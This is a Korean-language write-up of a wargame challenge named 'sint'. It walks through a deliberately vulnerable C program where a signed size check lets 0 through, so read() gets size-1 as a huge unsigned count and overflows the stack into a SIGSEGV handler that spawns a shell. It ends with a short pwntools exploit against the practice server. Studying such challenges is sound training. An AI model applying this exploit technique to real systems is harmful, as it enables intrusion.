sint
A signed comparison lets a negative length through, which then becomes a huge unsigned size in the copy.
checksec 으로 적용된 보호기법과 소스 코드를 봅시다. chaeeun@chaeeuns-MacBook-Air fd7baa65-acbc-4b43-a9d0-b8bfd51cdae5 % ls sint sint.c chaeeun@chaeeuns-MacBook-Air fd7baa65-acbc-4b43-a9d0-b8bfd51cdae5 % checksec ./sint [*] ‘/Users/ chaeeun/Desktop/fd7baa65-acbc-4b43-a9d0-b8bfd51cdae5/sint’ Arch: i386-32-little RELRO: Partial RELRO
Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No chaeeun@chaeeuns-MacBook-
Air fd7baa65-acbc-4b43-a9d0-b8bfd51cdae5 % cat sint.c #include <stdio.h>
#include <stdlib.h>
#include
<signal.h> #include <unistd.h> void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() {
setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler);
alarm(30); } void get_shell() { system("/bin/sh"); } int main() { char buf[256]; int size; initialize();
signal(SIGSEGV, get_shell); printf(“Size: ”); scanf(“%d”, &size); if (size > 256 || size < 0) { printf(“Buffer
Overflow!\n"); exit(0); } printf("Data: "); read(0, buf, size - 1); return 0; }
실습환경에 ASLR 이랑 NX 가 적용된것을 확인할수있다. + partial relro. get shell 이 목표인거같고, 문제의 핵심은 size - 1에서 발생하는 integer underflow / signed-to-unsigned 인거 같습니다.
취약한 부분은 여기입니다.
• read(0, buf, size - 1);
앞에서 검사는 이렇게 되어 있습니다.
• if (size > 256 || size < 0)
그래서 size가 음수이거나 256보다 크면 막힙니다. 그런데 size = 0은 통과합니다. size = 0을 입력하면: size - 1 은 0 - 1 = -1 이 됩니다.
그런데 read() 함수의 세 번째 인자는 size_t 타입입니다.
ssize_t read(int fd, void *buf, size_t count);
size_t는 unsigned 정수형입니다. 따라서 -1이 size_t로 변환되면서 엄청 큰 값이 됩니다. 32bit 바이너리이므로:
-1 → 0xffffffff
size는 “얼마나 많이 읽어도 되는지”를 정하는 값일 뿐입니다. 실제로 메모리를 망가뜨리는 것은 Data 입력 내용입니다. 프로그램은 Size 입력 내용때문에 Data를 최대 0xffffffff 바이트까지 읽어도 된다고 착각합니다. 그럼 결과적으로 read() 가 256바이트보다 훨씬 많은 데이터를 buf에 쓰려고 하면서 stack buffer overflow가 발생합니다. 그럼 이걸로 어떻게 bin shell 을 실행할수있나.. 이 코드가 매우 특이합니다.
signal(SIGSEGV, get_shell); 즉, 프로그램에서 Segmentation Fault가 발생하면 원래는 죽어야 하는데, 대신 get_shell() 함수가 실행됩니다.
void get_shell()
{
system("/bin/sh");
}
여기 exploit.code 입니다.
from pwn import * p = remote("host3.dreamhack.games", 22469) p.sendlineafter(b"Size: ", b"0")
p.sendafter(b”Data: ”, b”A” * 400) //256 보다 훨씬 큼. p.interactive()